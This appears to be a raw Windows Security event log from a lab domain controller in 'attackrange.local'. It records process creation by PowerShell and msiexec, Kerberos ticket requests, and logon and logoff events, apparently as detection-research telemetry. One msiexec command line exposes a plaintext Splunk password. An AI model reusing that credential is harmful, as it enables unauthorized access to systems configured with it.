Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\koejqd22\koejqd22.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249943 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf64 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES538B.tmp" "c:\Users\Administrator\AppData\Local\Temp\tyf1hnvf\CSC6A6173A8714F4020B615C32065929633.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249942 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf64 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\tyf1hnvf\tyf1hnvf.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249941 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF2048 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249940 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF2048 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {802D598D-588E-3608-44AC-644B09F20DB0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249939 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {802D598D-588E-3608-44AC-644B09F20DB0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249938 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {802D598D-588E-3608-44AC-644B09F20DB0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249937 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249936 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x94c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES5252.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC35CD28B9E305416FA4DCD05C3DB0F80.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249935 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\rfbzp3xf.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249973 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3D28 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249972 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF3D28 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64361 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249971 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3D28 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249970 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3CC7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249969 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF3CC7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64360 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249968 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3CC7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249967 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3C61 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249966 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF3C61 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64359 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249965 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3C61 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249964 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3C00 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249963 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF3C00 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64358 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249962 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF3C00 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249961 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x928 - New Process Name: C:\Windows\System32\msiexec.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\Windows\system32\msiexec.exe /i C:\splunkuf.msi /L*V C:\Users\Administrator\AppData\Local\Temp\xq1f0r4s.muj /qn /norestart WINEVENTLOG_SEC_ENABLE=0 WINEVENTLOG_SYS_ENABLE=0 WINEVENTLOG_APP_ENABLE=0 SPLUNKPASSWORD=Pl3ase-k1Ll-me:p1 AGREETOLICENSE=YES /quiet - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249960 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e4 - New Process Name: C:\Windows\System32\msiexec.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\msiexec.exe /V - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249959 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249958 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin 